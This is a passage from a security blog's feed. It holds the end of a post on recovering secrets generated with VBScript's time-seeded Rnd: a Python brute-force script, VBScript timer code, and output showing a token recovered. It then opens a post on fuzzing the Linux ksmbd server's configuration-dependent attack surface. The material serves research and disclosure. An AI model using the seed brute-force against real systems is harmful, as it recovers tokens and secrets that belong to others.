    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__doc__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;start_val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vbs_timer_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;end_val&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vbs_timer_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;end_val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;start_val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[ERROR] end time is earlier than start time&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;tried_tokens&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;unique_tested&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[INFO] Range &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start_val&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; to &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end_val&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; in &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;STEP&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;-s steps&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;start_val&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;end_val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1e-7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;# small epsilon for fp rounding
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;seed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;make_manual_seed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;vbs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;&quot;cscript.exe&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;//nologo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VBS_PATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;capture_output&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;check&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CalledProcessError&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[ERROR] VBS failed for seed &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seed&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STEP&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Predicted token:\s*(.+)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vbs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;] No token from VBS&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STEP&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tried_tokens&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STEP&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# print(f&quot;Duplicate for [{value:.5f}] / seed: {seed}: {token}&quot;)
&lt;/span&gt;            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;tried_tokens&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;unique_tested&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;] Test #&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unique_tested&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; // calculated seed: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seed&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;# ...logic omitted - but we need some sort of token verification here
&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STEP&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-attack&quot;&gt;The Attack&lt;/h2&gt;

&lt;p&gt;Now, we can run the base code and capture a semi-precise current time value. Our Python works with properly formatted strings, so we can convert the number using a simple method:&lt;/p&gt;

&lt;div class=&quot;language-vb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ss&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Timer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;hh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;\&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3600&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;mm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;Mod&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3600&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;\&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ss&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;Mod&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000000&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Echo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;:&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;:&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ss&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;.&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;000000&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;CStr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s say the token was generated precisely at &lt;em&gt;17:55:54.046875&lt;/em&gt; and we got the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7&lt;/code&gt; string. In the case of our target, we knew that some files were created at 17:55:54, which was rather close to the token-generation time. In other cases, the information leak could come from some resource creation metadata, entries in the log file, etc.&lt;/p&gt;

&lt;p&gt;We iterate time seeds in 0.015625-second steps (64 Hz) across the suspected window and we filter all duplicates.&lt;/p&gt;

&lt;p&gt;We started our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brute_timer.py&lt;/code&gt; script with a 1s range and we successfully recovered the secret in the 4th iteration:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS C:\share&amp;gt; python3 .\brute_timer.py 17:55:54 17:55:55
[INFO] Range 64554.00000 to 64555.00000 in 0.015625-s steps
[64554.00000] Test #1: eYIkXKdsUTC3Uz#R)P$BlVRJie9U2(4B // calculated seed: 2.3397787718772567e+36
[64554.01562] Test #2: ZTDgSGZnPP#yQv*M6L)#hQNEdZ5Px50$ // calculated seed: 2.3397838424796576e+36
[64554.03125] Test #3: VP!bOBUjLK&amp;amp;uLq8I2G7*cMIAZV0Lt1v* // calculated seed: 2.3397889130820585e+36
[64554.04688] Test #4: QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7 // calculated seed: 2.3397939836844594e+36
[...snip...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;VBScript’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Randomize&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rnd&lt;/code&gt; are fine if you just want to roll some dice on screen, but don’t even think about using them for secrets.&lt;/strong&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>ksmbd - Fuzzing Improvements and Vulnerability Discovery (2/3)</title>
   <link href="https://blog.doyensec.com/2025/09/02/ksmbd-2.html"/>
   <updated>2025-09-02T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2025/09/02/ksmbd-2</id>
   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;This is a follow-up to the article originally published &lt;a href=&quot;https://blog.doyensec.com/2025/01/07/ksmbd-1.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Our initial research uncovered several unauthenticated bugs, but we had only touched the attack surface lightly. Even after patching the code to bypass authentication, most interesting operations required interacting with handlers and state we initially omitted. In this part, we explain how we increased coverage and applied different fuzzing strategies to identify more bugs.&lt;/p&gt;

&lt;p&gt;Some functionalities require additional configuration options. We tried to enable many available features to maximize the exposed attack surface. This helped us trigger code paths that are disabled in the minimalistic configuration &lt;a href=&quot;https://github.com/cifsd-team/ksmbd-tools/blob/master/ksmbd.conf.example#L61&quot;&gt;example&lt;/a&gt;. However, to simplify our setup, we did not consider features like Kerberos support or RDMA. These could be targets for further improvement.&lt;/p&gt;

&lt;h2 id=&quot;configuration-dependent-attack-surface&quot;&gt;Configuration-Dependent Attack Surface&lt;/h2&gt;

&lt;p&gt;The following functionalities helped expand the attack surface. Only oplocks are enabled by default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;G&lt;/strong&gt; = Global scope only&lt;br /&gt;
&lt;strong&gt;S&lt;/strong&gt; = Per-share, but can also be set globally as a default&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;durable handles (G)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;oplocks (S)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;server multi channel support (G)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;smb2 leases (G)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;vfs objects (S)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From a code perspective, in addition to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb2pdu.c&lt;/code&gt;, these source files were involved:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ndr.c&lt;/code&gt; – NDR encoding/decoding used in SMB structures&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oplock.c&lt;/code&gt; – Oplock request and break handling&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smbacl.c&lt;/code&gt; – Parsing and enforcement of SMB ACLs&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vfs.c&lt;/code&gt; – Interface to virtual file system operations&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vfs_cache.c&lt;/code&gt; – Cache layer for file and directory lookups&lt;/li&gt;
&lt;/ul&gt;

